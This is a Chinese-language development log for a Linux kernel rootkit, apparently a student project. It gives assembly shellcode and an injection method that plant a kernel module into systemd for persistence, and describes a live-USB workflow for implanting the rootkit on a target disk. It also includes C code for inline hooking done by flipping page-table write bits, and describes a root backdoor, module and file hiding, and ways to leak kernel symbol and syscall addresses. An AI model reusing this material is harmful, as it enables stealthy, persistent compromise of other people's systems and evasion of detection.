```shell
$ mkfs.ext4 rootfs.ext4
```
接下來掛載,把該放的東西放進去,最後再 `umount`:
```shell
$ sudo mount rootfs.ext4 /mnt/rootfs
# copy some file
$ sudo umount /mnt/rootfs
```
然後確保已經安裝 qemu 了,寫一個啟動腳本:
```shell
#!/bin/sh
qemu-system-x86_64 \
-kernel bzImage \
-drive file=rootfs.ext4,if=virtio,format=raw \
-append "console=ttyS0 root=/dev/vda rw" \
-net nic,model=virtio \
-net user \
-nographic
```
對它 `chomd +x`,接下來執行,就會成功開機了。而且這個方法使用原本作業系統的 header 編譯出的核心模組是能直接運行在上面的,因為現在運行的作業系統就是用它來啟動的。
## Persistence
我看現在大部份作法是在 `init.d` 裡面去放東西,但是這會依賴於發行板。於是我的作法是使用靜態的 ELF code injection 把核心模組與 shellcode 塞進 `systemd` 裡面(可以去建一個陣列去放所有可能會作為 init 的執行檔)。
這裡的實作參考 [drow](https://github.com/zznop/drow) 專案。
首先簡單講一下下面會用到的一些 ELF 的結構。
### ELF 結構
#### ELF header
```c
typedef struct
{
...
Elf64_Addr e_entry; /* Entry point virtual address */
Elf64_Off e_phoff; /* Program header table file offset */
Elf64_Off e_shoff; /* Section header table file offset */
...
Elf64_Half e_phnum; /* Program header table entry count */
Elf64_Half e_shentsize; /* Section header table entry size */
Elf64_Half e_shnum; /* Section header table entry count */
Elf64_Half e_shstrndx; /* Section header string table index */
} Elf64_Ehdr;
```
ELF 有一個 ELF header,放在整個執行檔的開頭位置,可以用 `Elf64_Ehdr` 這個結構體去解析。如果 `image` 是整個執行檔內容的開頭指標,那可以這樣獲得它:
```c
Elf64_Ehdr *elf_header = (Elf64_Ehdr *) image;
```
`e_entry` 是執行檔的進入點,是一個虛擬地址,在後續會設定它。
`e_shoff` 和 `e_phoff` 是這個 ELF header 中的兩個元素,可以用來獲得 section headers 和 program headers 兩個陣列:
```c
Elf64_Shdr *section_headers = (Elf64_Shdr *) (image + elf_header->e_shoff);
Elf64_Phdr *program_headers = (Elf64_Phdr *) (image + elf_header->e_phoff);
```
program header 描述的是 segment,section header 描述的是 section。section 會包含在 segment 裡面。而這兩個 headers 陣列各包含著很多 header,每個 header 描述的就是分別表示一個 segment 或 section。在 ELF header 中有 `e_phnum` 與 `e_shnum` 兩個元素,分別代表 program header 和 section header 的數量。
#### program header
```c
typedef struct
{
Elf64_Word p_type; /* Segment type */
Elf64_Word p_flags; /* Segment flags */
Elf64_Off p_offset; /* Segment file offset */
Elf64_Addr p_vaddr; /* Segment virtual address */
Elf64_Addr p_paddr; /* Segment physical address */
Elf64_Xword p_filesz; /* Segment size in file */
Elf64_Xword p_memsz; /* Segment size in memory */
Elf64_Xword p_align; /* Segment alignment */
} Elf64_Phdr;
```
`p_flags` 是 RWX 的標示,`p_offset` 是這個區段在這個檔案裡面的偏移量,`p_vaddr` 是指映射進記憶體時的地址,如果有開 ASLR 的話,那他會是相對偏移量。`p_filesz` 是他在檔案中佔的大小,`p_memsz` 是他在記憶體中佔的大小。
#### section header
```c
typedef struct
{
Elf64_Word sh_name; /* Section name (string tbl index) */
Elf64_Word sh_type; /* Section type */
Elf64_Xword sh_flags; /* Section flags */
Elf64_Addr sh_addr; /* Section virtual addr at execution */
Elf64_Off sh_offset; /* Section file offset */
Elf64_Xword sh_size; /* Section size in bytes */
...
} Elf64_Shdr;
```
`sh_addr` 是這個 section 在記憶體中的虛擬地址,`sh_offset` 是他在檔案中的偏移量。
### ELF code injection
首先找到可執行的 segment(也就是有 `PF_X` 這個標誌的),接下來在這個 segment 中找到合法的 section,這裡的 section 有以下一些限制。在檔案中與下一個 section 的空隙要大於等於 `patch_size`,在虛擬地址中,與下一個 section 的空隙要大於等於 `patch_size`。這不難理解,因為不管在檔案還是在記憶體中都不能與下一個 section 重疊。
這裡會遇到一個問題,在不想對執行檔有太大變動的情況下,section 之間的空隙是非常有限的,除非合法的 segment 和 section 都在最尾端(當然是還需要移動一些東西),所以像是核心模組這樣的東西不適合放進去。於是,我的作法是把它塞在檔案的尾端,對齊 `PAGE_SIZE`。在 shellcode 裡面將它使用 `mmap` 映射進記憶體中(對齊 `PAGE_SIZE` 的目的就在這裡)。
這個想法是很簡單的,接下來是實作的部份。
### 實作細節
找合適的區段就只是在解析 ELF 而已,這裡不多贅述:
> commit [0ce8e39](https://github.com/rota1001/kernel-rootkit/commit/0ce8e3915b781ef2faa597ba4632cead64e95ec0)
怎麼把核心模組轉換成一個陣列並且使用 user program 載入呢?
首先產生一個 object file,然後我們能用 `objdump` 去看他的內容:
```shell
$ ld -s -r -b binary rootkit.ko -o rootkit.ko.o
objdump -t rootkit.ko.o
```
會看到以下訊息:
```
rootkit.ko.o: file format elf64-x86-64
SYMBOL TABLE:
0000000000000000 l d .data 0000000000000000 .data
0000000000034a98 g *ABS* 0000000000000000 _binary_rootkit_ko_size
0000000000000000 g .data 0000000000000000 _binary_rootkit_ko_start
0000000000034a98 g .data 0000000000000000 _binary_rootkit_ko_end
```
這些東西可以在 user program 中使用 `extern char[]` 來獲得(只要編譯時將這個 object file 加入編譯),可以參考 [你所不知道的 C 語言:連結器和執行檔資訊](https://hackmd.io/@sysprog/c-linker-loader)。
於是我們可以這樣掛載核心模組:
```c
extern const char _binary_rootkit_ko_start[];
extern const char _binary_rootkit_ko_end[];
int main()
{
if (syscall(SYS_init_module, _binary_rootkit_ko_start,
_binary_rootkit_ko_end - _binary_rootkit_ko_start,
(char[]){'\0'})) {
puts(WARN "You are not root");
return -1;
}
return 0;
}
```
當然,在注入進去的程式碼要使用 x86 組合語言去達成這件事情。
另外,shellcode 也可以向這樣變成一個可以 extern 的陣列,把編譯出來的部份只有 .text 區段被複製出來,變成一個 binary file,然後再用相同方式去產生一個 object file:
```shell
$ gcc -c shellcode.s -o shellcode.o
$ objcopy -O binary --only-section=.text shellcode.o shellcode.bin
$ ld -s -r -b binary shellcode.bin -o shellcode.o
```
現在我們有辦法寫組合語言,獲得一個由機器碼組成的陣列,也可以把核心模組變成一個陣列,於是可以開始寫 shellcode 了。
首先是進入和退出的部份:
```asm
entry:
push rdi
push rsi
push rdx
push r10
push r8
push r9
...
return:
mov rax, [rip + off]
lea rcx, [rip + base]
sub rcx, rax
pop r9
pop r8
pop r10
pop rdx
pop rsi
pop rdi
jmp rcx
```
我把它叫做 context switch,因為它做的事情是保存舊的暫存器狀態,且隨後恢復。另外,與原本的 entry point 之間的偏移量資訊也紀錄在這個 shellcode 裡面,會由注入 shellcode 的程式來進行計算與修改,這裡會預留空間,並且以相對 `rip` 的地址去取得:
```asm
off:
.space 8
evil_base:
.space 8
evil_size:
.space 8
zero:
.asciz ""
```
在中間做的事情就是分別叫了 `open`、`mmap` 和 `init_module` 三個系統呼叫:
```asm
payload:
...
syscall ; syscall(SYS_open, file, 0, 0)
cmp rax, 0
jl return
...
syscall ; syscall(SYS_mmap, NULL, evil_size, 1, 2, fd, evil_base)
cmp rax, -1
je return
...
syscall ; syscall(SYS_init_module, addr, evil_size, zero)
```
另外是 `systemd` 在被執行的時候如果以 `O_RDWR` 開啟的話會有 Text file busy 錯誤,所以不能直接修改它,但是我發現它可以 `unlink`,也就是刪除。所以這裡的作法是先用 `O_RDONLY` 的標誌打開,將內容存在 buffer 裡面,把檔案 `unlink` 再重新建立。
### 實際運作
這個在 ubuntu 24.04 上實驗過,我把 `systemd` 備份後用 root 權限執行惡意程式,重新開機。它順利啟動,並且成功自動掛載核心模組。
### 改成使用 `finit_module`
本來以為事情到這裡就解決了,然而發現了它會出現錯誤。下面會使用到 `stop_machine` 來執行東西,並且在裡面呼叫了 `x64_sys_call`,這樣的行為會出現錯誤,原因還沒想到。不過使用 `insmod` 去掛載卻沒問題,我使用了 `strace` 去追蹤,發現它使用了 `finit_module` 系統呼,於是我也改成這樣的實作方式。
`finit_module` 需要輸入 `fd`,而它會去找這個 `fd` 對應到的檔案,從它開頭位置開始讀。因為這個特性,使用 `lseek` 去移到特定位置再呼叫 `finit_module` 和直接呼叫 `finit_module` 的結果是一樣的(雖然說 insmod 有做這件事,不知道考量是什麼)。而我的核心模組是被塞在檔案後面的,因為上面的特性,我不能使用 `lseek` 去移動 `fd` 對應的指針來達到讀取核心模組的效果。所以,我使用了 `memfd_create` 系統呼叫,它會創建一個匿名檔案,且回傳一個檔案描述子。我們可以對這個檔案描述子進行讀寫操作。在創建這個匿名檔案後,我會把核心模組的內容寫進去,並且使用這個檔案描述子去呼叫 `finit_module`。
說起來簡單,接下來就是寫更多的組合語言了:
> commit [7f15447](https://github.com/rota1001/ksymless/commit/7f154475248576ec0347cb50547b1ed7f0a2a1b3)
```asm
payload:
# open(file, 0, 0)
...
syscall
cmp rax, 0
jl return
# mmap(0, evil_size, 1, 2, fd, evil_base)
...
syscall
cmp rax, -1
je return
...
# memfd_create("yee", 1)
...
syscall
cmp rax, 0
jl return
# write(fd, address, evil_size)
...
syscall
# finit_module(fd, "", 0)
...
syscall
```
## Hook without ftrace
看現在還能動的 kernel rootkit 都是用 ftrace,但我想用改機器碼的方式減少對 ftrace 的依賴是好事。而現在看到的使用這樣方式的 rootkit 都很舊,針對的是 32 bit 的 x86 架構,且對於防寫保護的關閉也不夠全面(清除 `cr0` 的 `WP` 以前應該先清除 `cr4` 的 `CET`)。而我這裡的實作方法不是改 `cr0`,而是去改 page table entry 中的讀寫權限。
先定義了一個結構體:
```c
struct hook {
unsigned long org_func;
unsigned long evil_func;
unsigned char org_code[HOOK_SIZE];
unsigned char evil_code[HOOK_SIZE];
struct list_head list;
};
```
`org_func` 是目標函式,`evil_func` 是惡意函式。`org_code` 是目標函式的開頭,`evil_func` 是要跳到惡意函式的 shellcode。這個 `HOOK_SIZE` 是 shellcode 長度。我會在目標開頭塞入這個 shellcode 讓它跳進惡意函式中。另外,惡意函式要怎麼呼叫原本的函式呢?它會在呼叫前去呼叫 `hook_pause`,這個函式會把原本函式的開頭復原,最後呼叫 `hook_resume` 將 shellcode 再寫回去。這裡先訂出界面,由於個函式實作概念重複,以下只會敘述一些函式的實作:
> commit [6abaaf4](https://github.com/rota1001/kernel-rootkit/commit/6abaaf4ae93a3809dd01d4fb767c1e7b2acd698c)
這裡用來修改機器碼的方式不是使用修改 `cr0` 的,而是去修改 page table entry 的讀寫權限:
```c
static void make_rw(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, &level);
pte->pte |= _PAGE_RW;
}
static void make_ro(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, &level);
pte->pte = pte->pte & ~_PAGE_RW;
}
```
在 `hook_start` 的部份,我會先建立 `hook` 結構體,將對應資訊寫進去後,開始做 hook 操作。讓目標函式是可以寫的之後,將 shellcode 寫進去:
```c
make_rw(org_func);
memcpy((void *) org_func, new_hook->evil_code, HOOK_SIZE);
make_ro(org_func);
```
然後在有一個全域的鏈結串列拿來放所有的 `hook` 結構體,使用內嵌的 `list_head` 將他們連起來。
```c
list_add(&new_hook->list, &hook_list);
```
最後,在退出的時候,可以呼叫 `hook_release` 將所以有的函式都復原:
```c
void hook_release(void)
{
struct hook *now, *safe;
list_for_each_entry_safe (now, safe, &hook_list, list) {
make_rw(now->org_func);
memcpy((void *) now->org_func, now->org_code, HOOK_SIZE);
make_ro(now->org_func);
list_del(&now->list);
vfree(now);
}
}
```
### 解決頻繁寫 shellcode 造成的衝突
原有的 hook 方式,如果我用 f 函式 hook 了 g 函式,且我需要在 f 函式中呼叫 g 函式的話,那麼我會先呼叫 `hook_pause` 將函式恢復原狀,然後進行呼叫,呼叫結束再重新 hook。這樣的操作十分危險,假如這個函式被頻繁的呼叫的話,可能會發生衝突(因為要寫 shellcode)。想到的一個解決方法是使用 `stop_machine` 去保證這個時刻只有這個行程在被執行,但是太頻繁的呼叫這樣影響範圍很大的函式不太好。所以我想到的方式是另外分配一塊可執行的記憶體空間,裡面放的是 g 函式的前面幾個指令,在這之後是一個 `jump` 指令跳回去執行 g 函式剩下的部份,這個記憶體空間就可以完全代替 g 函是的作用。
> commit [de99aff](https://github.com/rota1001/ksymless/commit/de99affe0d96cef19ccbf0efaf2ae6b9b564d9e1)
## 建立精簡 Live USB
我設想的使用情境是使用一個精簡的 live usb 去做開機,並且往特定硬碟分區的執行檔中注入惡意程式碼。現有的 rootkit 大致著重在安裝 rootkit 之後能做什麼事,而我想這樣隨開即用的設計是蠻實用的。並且 bzImage 還可以直接用現在這個作業系統拿來開機的 bzImage。
以下會敘述建立精簡 Live USB 的過程,之後會整理成 shell script 整合進來。
先用 lsblk 觀察硬碟分區,這裡是 `/dev/sda`。
首先 umount 它:
```
sudo umount /dev/sda1
```
### grub / UEFI 設定
安裝依賴:
```shell
$ sudo apt install grub-efi-amd64-bin
```
格式化,並且建立分區給 bootloader:
```shell
$ sudo wipefs -a /dev/sda
$ sudo parted /dev/sda -- mklabel gpt
$ sudo parted /dev/sda -- mkpart ESP fat32 1MiB 300MiB
$ sudo parted /dev/sda -- set 1 esp on
$ sudo mkfs.vfat -F32 /dev/sda1
```
安裝 grub:
```shell
$ sudo mkdir -p /mnt/usb
$ sudo mount /dev/sda1 /mnt/usb
$ sudo mkdir -p /mnt/usb/EFI/BOOT
$ sudo mkdir -p /mnt/usb/boot
$ sudo grub-install \
--target=x86_64-efi \
--efi-directory=/mnt/usb \
--boot-directory=/mnt/usb/boot \
--removable \
--force
```
建立 `/mnt/usb/boot/grub/grub.cfg`,設定成以下東西,`UUID` 要去觀察以下建立 rootfs 用的那個硬碟分區是什麼:
```
set timeout=5
set default=0
menuentry "Live USB" {
linux /boot/bzImage root=UUID=fd613a01-4276-4855-be68-729a9833a554 rootfstype=ext4 rw init=/init console=tty0
initrd /boot/initrd.img
}
```
等下全部結束之後,記得 umount:
```shell
$ sudo umount /mnt/usb
```
### 安裝 initramfs
```shell
$ sudo mkinitramfs -k -o /mnt/usb/boot/initrd.img $(uname -r)
```
### 獲取 bzImage
```shell
$ sudo cp /boot/vmlinuz-`uname -r` /mnt/usb/boot/bzImage
```
### 製作最小化 rootfs
建立第二個硬碟分區:
```shell
$ sudo parted /dev/sda -- mkpart primary ext4 300MiB 100%
```
格式化成 ext4:
```shell
$ sudo mkfs.ext4 /dev/sda2 -L rootfs
```
塞一些東西進去:
```shell
$ sudo mkdir -p /mnt/rootfs
$ sudo mount /dev/sda2 /mnt/rootfs
$ mkdir -p rootfs/{bin,dev,etc,proc,sys,usr/bin,usr/sbin,sbin}
$ wget https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox
$ chmod +x busybox
$ mv busybox rootfs/bin/
$ mknod rootfs/dev/console c 5 1
mknod rootfs/dev/null c 1 3
$ cat > rootfs/etc/inittab <<EOF
::sysinit:/bin/busybox mount -t proc proc /proc
::sysinit:/bin/busybox mount -t sysfs sysfs /sys
::respawn:/bin/busybox sh
EOF
$ cat > rootfs/etc/fstab <<EOF
proc /proc proc defaults 0 0
sysfs /sys sysfs defaults 0 0
EOF
$ sudo cp -a rootfs/* /mnt/rootfs/
```
建立系統起始腳本,放在 `/mnt/rootfs/init`,然後記得 `chmod +x`:
```
#!/bin/busybox sh
/bin/busybox --install
mount -t devtmpfs devtmpfs /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys
export PATH=/bin:/sbin:/usr/bin:/usr/sbin
exec /bin/busybox sh
```
然後可以這樣看一下 UUID 是多少,在上面的 `grub.cfg` 設定會用到:
```shell
$ sudo blkid
...
/dev/sda2: LABEL="rootfs" UUID="fd613a01-4276-4855-be68-729a9833a554"
...
```
結束後一樣要 umount:
```shell
$ sudo umount /mnt/rootfs
```
## 針對使用者體驗的改善
> commit [6e094f7](https://github.com/rota1001/kernel-rootkit/commit/6e094f7aa0a62ff4cedab660de4bfe2102bde61f)
雖然專題的重點在核心模組,但實作簡單就做一下。
### 指定硬碟分區
如果使用 Live USB 去植入 rootkit 的話,那安裝的根目錄就不再是開機時的 rootfs 了,所以這裡對於這種情況做了處理,可以指定要以哪個目錄作為根目錄植入 rootkit。
### 使用者界面
我提供了一個可以簡單使用的使用者界面,它會列出所有偵測到的硬碟分區,和他們的相關資訊,譬如掛載點、檔案系統類型、大小。使用者可以從裡面選擇一個去植入 rootkit。
我對這個 shell script 的期待是依賴最小化,所以訊息的獲得都從預設會有的 procfs 或是 sysfs 獲得,並且可以直接使用 `/bin/sh` 執行。
另外,在過程中也發現使用 Live USB 開機的時候,動態連結庫也是個需要解決的問題,這裡直接將使用者程式改為靜態連結的方式。
這裡個待處理的問題,btrfs 在掛載上去的時候會有 subvolume 的問題(我自己是使用btrfs,所以發現了這個問題),我等到核心模組的功能比較完善了再回來處理這個問題。
## 基礎功能
### 提權後門
> commit [4f79a61](https://github.com/rota1001/kernel-rootkit/commit/4f79a61c0b47f714e3c5aa8446353696a34f4626)
使用 [rootkit 案例閱讀](https://hackmd.io/fTzEHMdxQL67SnorpsWU9A?both#%E6%8F%90%E6%AC%8A%E5%BE%8C%E9%96%80) 提到的實作,這裡提供一個 `ioctl` 的控制界面。
### 隱藏核心模組
> commit [9d6b7c0](https://github.com/rota1001/kernel-rootkit/commit/9d6b7c0ff37b005f10c8720539c73fc0adbeba87)
使用 [rootkit 案例閱讀](https://hackmd.io/fTzEHMdxQL67SnorpsWU9A?both#%E9%9A%B1%E8%97%8F%E6%A0%B8%E5%BF%83%E6%A8%A1%E7%B5%84) 提到的實作。
### 隱藏檔案
> commit [3ef6897](https://github.com/rota1001/ksymless/commit/3ef6897da071b1dab3d0b0eb3413f89c2d054e06)
使用 [rootkit 案例閱讀](https://hackmd.io/fTzEHMdxQL67SnorpsWU9A?both#hook_sys_getdents64) 提到的實作,但現在未實作隱藏某個使用者擁有的所有檔案與行程,不過可以依據行程的名稱去進行隱藏(因為使用者空間獲得行程訊息是使用 procfs)。
## 洩漏 `ksymtab` 與 `ksymtab_gpl` 地址
這和上面的 `proc_dir_entry` 一樣,就是發現了新的方法在不依賴 `kprobe` 的情況下洩漏更多資訊,但是缺乏可以被使用的地方。
從核心中 export 出 symbol 的方式有兩種,一種是 `EXPORT_SYMBOL`,一種是 `EXPORT_SYMBOL_GPL`。大部分的科普文章是這樣寫的,沒有 `GPL` 授權的核心模組不能存取有 `GPL` 標示的 symbol,有 `GPL` 授權的核心模組可以存取所有 export 的 symbol。然而,在 [9011e49
](https://github.com/torvalds/linux/commit/9011e49d54dcc7653ebb8a1e05b5badb5ecfa9f9)("modules: only allow symbol_get of EXPORT_SYMBOL_GPL modules") 之後,有 `GPL` 授權的核心模組使用 `symbol_get` 的話只能存取有 `GPL` 授權的 symbol 了:
```diff
+if (fsa.license != GPL_ONLY) {
+ pr_warn("failing symbol_get of non-GPLONLY symbol %s.\n",
+ symbol);
+ goto fail;
}
```
然而,以下我找了一個方式去將裡面所有 symbol 都洩漏出來了(在不依賴 `kprobe` 和 `kallsyms` 的情況下)。
### 驗證 export 方式對於存取權限的影響
我們先實驗一下使用 `EXPORT_SYMBOL` 來 export 出來的 symbol 不能被有 `GPL` 授權的核心模組存取,首先是在使用 `EXPORT_SYMBOL_GPL` 的狀況下:
```cpp
void fabcd(void)
{
}
EXPORT_SYMBOL_GPL(fabcd);
static int __init rootkit_init(void)
{
THIS_MODULE->state = MODULE_STATE_LIVE;
unsigned long x = symbol_get(fabcd);
THIS_MODULE->state = MODULE_STATE_UNFORMED;
printk("x: 0x%lx\n", x);
}
```
在掛載後,用 `dmesg` 會看到以下訊息,可以發現有抓到 symbol:
```
[ 32.556204] x: 0xffffffffc0201010
```
之所以要去改 `THIS_MODULE->state` 是因為在 `strong_try_module_get` 中會對這個核心模組的狀態做檢查。這裡因為在 `init` 裡面,所以他的狀態是 `MODULE_STATE_UNFORMED`,所以會失敗(其實後來發現在 `find_symbol` 就擋下來,所以實際上不會呼叫下面這個函式,如果進到這個函式的話會被 `BUG_ON` 偵測到錯誤)。
```cpp
static inline int strong_try_module_get(struct module *mod)
{
BUG_ON(mod && mod->state == MODULE_STATE_UNFORMED);
if (mod && mod->state == MODULE_STATE_COMING)
return -EBUSY;
if (try_module_get(mod))
return 0;
else
return -ENOENT;
}
```
接下來改為使用 `EXPORT_SYMBOL`:
```cpp
void fabcd(void)
{
}
EXPORT_SYMBOL(fabcd);
static int __init rootkit_init(void)
{
THIS_MODULE->state = MODULE_STATE_LIVE;
unsigned long x = symbol_get(fabcd);
THIS_MODULE->state = MODULE_STATE_UNFORMED;
printk("x: 0x%lx\n", x);
}
```
會發現它沒有成功抓到 symbol。
```
[ 6.819014] x: 0x0
```
### [`__symbol_get`](https://github.com/torvalds/linux/blob/94305e83eccb3120c921cd3a015cd74731140bac/kernel/module/main.c#L1349) 的實作方式
`__symbol_get` 會呼叫 `find_symbol` 來找 symbol 對應到的值。他的實作是這樣的:
```cpp=
bool find_symbol(struct find_symbol_arg *fsa)
{
static const struct symsearch arr[] = {
{ __start___ksymtab, __stop___ksymtab, __start___kcrctab,
NOT_GPL_ONLY },
{ __start___ksymtab_gpl, __stop___ksymtab_gpl,
__start___kcrctab_gpl,
GPL_ONLY },
};
struct module *mod;
unsigned int i;
for (i = 0; i < ARRAY_SIZE(arr); i++)
if (find_exported_symbol_in_section(&arr[i], NULL, fsa))
return true;
list_for_each_entry_rcu(mod, &modules, list,
lockdep_is_held(&module_mutex)) {
struct symsearch arr[] = {
{ mod->syms, mod->syms + mod->num_syms, mod->crcs,
NOT_GPL_ONLY },
{ mod->gpl_syms, mod->gpl_syms + mod->num_gpl_syms,
mod->gpl_crcs,
GPL_ONLY },
};
if (mod->state == MODULE_STATE_UNFORMED)
continue;
for (i = 0; i < ARRAY_SIZE(arr); i++)
if (find_exported_symbol_in_section(&arr[i], mod, fsa))
return true;
}
pr_debug("Failed to find symbol %s\n", fsa->name);
return false;
}
```
使用上述兩種方法 export 的 symbol 分成兩種,一種是放在 `ksymtab` 和 `ksymtab_gpl` 裡面的,這種是在核心編譯過程中就決定的資訊,名稱由小到大排序放在表裡面。另一種是由掛載的核心模組 export 的,放在核心模組的 `syms`、`gpl_syms` 欄位。
在 12 行到 14 行間他是在前者中去找符號,後面是在後者中去找符號。這裡關注的是前面的部份。可以發現,他們是使用 `arr` 這個陣列裡面的資訊作為參數去呼叫 `find_exported_symbol_in_section` ,而裡面放的有上述兩個表的起始和結束。接下來追進去看 `find_exported_symbol_in_section` 是怎麼實作的:
```cpp
static bool find_exported_symbol_in_section(const struct symsearch *syms,
struct module *owner,
struct find_symbol_arg *fsa)
{
...
sym = bsearch(fsa->name, syms->start, syms->stop - syms->start,
sizeof(struct kernel_symbol), cmp_name);
if (!sym)
return false;
...
return true;
}
```
可以發現,它會使用 `bsearch` 去進行二分搜尋,找到對應的 `kernel_symbol` 的位置。
### 想法
可以發現 `find_exported_symbol_in_section` 呼叫了 `bsearch`,而這個東西是有被釋放出來給核心模組使用的函式,所以我們可以知道他的地址,那我們可以對它進行 hook 就能獲得他的輸入。只要去呼叫一次 `__symbol_get` 或 `__symbol_put`,並且在期間對 `bsearch` 進行攔截參數的話,就能獲取 `__start___ksymtab` 和 `__start___ksymtab_gpl` 了。
### demo
首先去對 `bsearch` 進行 hook,看看結果:
```cpp
void *bsearch_evil(const void *key, const void *base, size_t num, size_t size, cmp_func_t cmp)
{
hook_pause(bsearch);
void *ret = bsearch(key, base, num, size, cmp);
printk("base: 0x%lx\n", base);
printk("end: 0x%lx\n", base + num * size);
printk("str: %s\n", (char *)key);
hook_resume(bsearch);
return ret;
}
void fabcd(void)
{
}
EXPORT_SYMBOL(fabcd);
tatic int __init rootkit_init(void)
{
printk(KERN_ALERT "rootkit init\n");
hook_start(bsearch, bsearch_evil);
__symbol_put("fabcd");
hook_release();
```
使用 `dmesg` 可以看到它印出了 3 組地址。第一組地址是 `ksymtab` 的,第二組地址是 `ksymtab_gpl` 的,第三組地址是在核心模組的 `sym` 裡面找的,可以看到尋找的字串都是 `fabcd`,也就是一開始設定的函式名稱(這裡使用)。
```
[ 11.521541] rootkit init
[ 11.521995] base: 0xffffffff82def958
[ 11.522110] end: 0xffffffff82e02ce4
[ 11.522183] str: fabcd
[ 11.522306] base: 0xffffffff82e02ce4
[ 11.522347] end: 0xffffffff82e1d5c4
[ 11.522391] str: fabcd
[ 11.522456] base: 0xffffffffc0205054
[ 11.522505] end: 0xffffffffc0205060
[ 11.522547] str: fabcd
```
為了看看他們是不是正確的地址,以下把他們的名字印出來。這裡只是要做個驗證,我把 kaslr 關掉,直接用寫死的地址去看(和上面一樣的地址)。另外,因為 `kernel_symbol_name` 之類的函式並沒有被釋放出來,我自己實作了一個:
```cpp
struct kernel_symbol {
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
int value_offset;
int name_offset;
int namespace_offset;
#else
unsigned long value;
const char *name;
const char *namespace;
#endif
};
static const char *kernel_symbol_name(const struct kernel_symbol *sym)
{
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
return offset_to_ptr(&sym->name_offset);
#else
return sym->name;
#endif
}
static int __init rootkit_init(void)
{
printk(KERN_ALERT "rootkit init\n");
struct kernel_symbol *arr = (struct kernel_symbol *)0xffffffff82def958;
struct kernel_symbol *end = (struct kernel_symbol *)0xffffffff82e1d5c4;
for (int i = 0; arr != end; i++) {
printk("sym %d: %s\n", i, kernel_symbol_name(arr));
arr++;
}
}
```
可以發現 symbol 被弄出來了:
```
...
[ 9.123992] sym 15616: zs_destroy_pool
[ 9.124057] sym 15617: zs_free
[ 9.124114] sym 15618: zs_get_total_pages
[ 9.124182] sym 15619: zs_huge_class_size
[ 9.124259] sym 15620: zs_lookup_class_index
[ 9.124332] sym 15621: zs_malloc
[ 9.124393] sym 15622: zs_map_object
[ 9.124462] sym 15623: zs_pool_stats
[ 9.124530] sym 15624: zs_unmap_object
```
## 不依賴 kallsyms 與 kprobe 的 syscall 地址洩漏
> commit [7197487](https://github.com/rota1001/ksymless/commit/7197487202a12646ed0445fc1168ee86366cbc09)
以下的方法只要保證從 `x64_sys_call` 到核心模組的 init 函式的呼叫路徑(call trace)的長度是某個特定的值就能運作,而如果要追求更多的相容性的情況下可以再經過一些篩選去做到,但在假設使用者不會去更改 linux 程式碼的情況下我沒有做這樣的篩選。
### 想法
在呼叫 `rootkit_init` 這個函式的時候,因為他是透過 `init_module` 這個系統呼叫去掛載的,所以它一定會經過 syscall handler。而在一個函式中,我們可以在 `rbp+8` 的位置得到這個函式的回傳地址,又可以從 `rbp` 的位置得到在上一個 stack frame 中的 `rbp` 值,所以可以找到在呼叫路徑中若干層的回傳地址。從下面的例子我們可以看到,`rbp` 指向的位置存的是 `rbp1`,也就是上一個 stack frame 中的 `rbp`,而 `rbp1` 指向的位置又存著上上個 stack frame 中的 `rbp`。那如果我要找到我 return 三次會回到哪個地址,也就是 return address 2,要怎麼做呢?向 `rbp` 取值得到 `rbp1`,再向 `rbp1` 取值得到 `rbp2`,在 `rbp2+8` 的位置存的值就是 return address 2。
```graphviz
digraph stack_frame {
node [shape=plaintext]
label_rsp [label="rsp"]
label_rbp [label="rbp"]
label_rbp1 [label="rbp1"]
label_rbp2 [label="rbp2"]
node [shape=record]
rankdir=LR;
stack [label = "<rsp>|...|<rbp0>rbp1|return address 0|...|<rbp1>rbp2|return address 1|...|<rbp2>rbp3|return address 2"]
label_rsp->stack:rsp
label_rbp->stack:rbp0
label_rbp1->stack:rbp1
label_rbp2->stack:rbp2
}
```
有了這個工具,我們就可以去看看 syscall handler 在這個呼叫路徑上的第幾層,我在實驗環境中去讓它在 `rootkit_init` 中系統崩潰,可以看到這個呼叫路徑:
```
[ 4.263825] ? rootkit_init+0x15/0xff0 [rootkit]
[ 4.263933] do_one_initcall+0x5e/0x340
[ 4.264120] do_init_module+0x97/0x2c0
[ 4.264205] load_module+0x6b5/0x7d0
[ 4.264284] init_module_from_file+0x96/0x100
[ 4.264379] idempotent_init_module+0x11c/0x310
[ 4.264475] __x64_sys_finit_module+0x64/0xd0
[ 4.264561] x64_sys_call+0x2580/0x25f0
...
```
可以發現往上 7 層後就會找到 `x64_sys_call` 函式,然後我們去看看核心中對於這個函式的[實作](https://github.com/torvalds/linux/blob/0ff41df1cb268fc69e703a08a57ee14ae967d0ca/arch/x86/entry/syscall_64.c#L35):
```cpp
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
switch (nr) {
#include <asm/syscalls_64.h>
default: return __x64_sys_ni_syscall(regs);
}
}
```
其中 `nr` 是 syscall number,他是用一個 switch-case 去依據 `nr` 呼叫對應的系統呼叫。
然後我們看看函式的開頭有什麼特徵:
```
.text:FFFFFFFF81009DE5 push rbp
.text:FFFFFFFF81009DE6 mov rbp, rsp
```
這不難理解,因為在函式呼叫的一開始要把上一個 stack frame 的 `rbp` 存起來,並且讓 `rbp` 指向那個位置,我們可以以這個特徵來找到函式的開頭。
接下來觀察 x86-64 的 `call` 指令的構成,如果以相對 `rip` 的地址去呼叫的話,那麼機器碼的第一個位元組會是 `e8`,接下來 4 個位元組存了一個偏移量,是相對於下一條指令的偏移量。
既然知道了 `call` 指令的構成,那我們能從函式開頭開始去找到所有的 `call` 函式,並且知道他們呼叫的地址是什麼。比較麻煩的一件事情是 x86 的指令長短不一,所以需要寫一個簡單的反組譯器去計算當前指令的長度。
接下來我們有了所有它呼叫的系統呼叫函式,但是要怎麼分辨哪個對應到哪個 syscall number 呢?如果去進行反組譯來做靜態的解析的話有幾個缺點:
- 實作困難
- 過於依賴編譯器
